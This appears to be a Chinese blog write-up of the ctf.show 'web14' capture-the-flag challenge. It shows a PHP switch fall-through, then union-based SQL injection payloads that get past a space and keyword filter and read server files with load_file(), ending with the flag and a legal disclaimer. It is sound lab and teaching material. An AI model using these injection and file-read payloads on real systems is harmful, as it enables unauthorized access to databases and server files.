web14
5
解法
php
<?php
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__);
关键:
php
case 3:
echo '@A@';
case 6000000:
echo "$url";
如果没有 break,进入 case 后会一直执行到 switch 结尾。
发送 GET 请求。
bash
https://dcb194cc-cfe4-4ebe-bbed-abf189549b6b.challenge.ctf.show/?c=3
得到 $url 的值。
访问:
bash
https://dcb194cc-cfe4-4ebe-bbed-abf189549b6b.challenge.ctf.show/here_1s_your_f1ag.php
有个弹窗。
尝试 SQL 注入。
sql
?query=-1 or 1=1; --+
没有数据返回。
用 /**/ 代替空格,用 # 代替 --+。
sql
?query=-1/**/or/**/1=1;/**/#
注入成功。
爆库名。
sql
?query=-1/**/union/**/select/**/group_concat(schema_name)/**/from/**/information_schema.schemata;/**/#
爆表名。
sql
?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web';/**/#
又没有返回了。
查看网页源代码。
关键:
php
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}
原来是过滤了
- "information_schema.tables"
- "information_schema.columns"
- "linestring"
- "polygon"
用 ` 包围 tables。爆表名。
sql
?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web';/**/#
用 ` 包围 columns。爆列名。
sql
?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_schema='web';/**/#
sql
?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content;/**/#
flag 看起来不在这里。
Wappalyzer 识别到 Nginx,网站默认根目录:/var/www/html/。
看看 php 文件。
sql
?query=-1/**/union/**/select/**/load_file("/var/www/html/here_1s_your_f1ag.php")/**/#
sql
?query=-1/**/union/**/select/**/load_file("/var/www/html/config.php")/**/#
sql
?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")/**/#
找到线索:/real_flag_is_here。
javascript
alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
echo file_get_contents('/real_flag_is_here');
}')
bash
?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")/**/#
找到 flag。
Flag
bash
ctfshow{329c3b41-f799-4f1d-bd86-f95a69d036a1}
声明
本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的 。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规。
博主坚决反对任何形式的非法黑客行为 ,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规 ,不得用于任何非法目的 。对于因使用这些技术而导致的任何后果,博主不承担任何责任。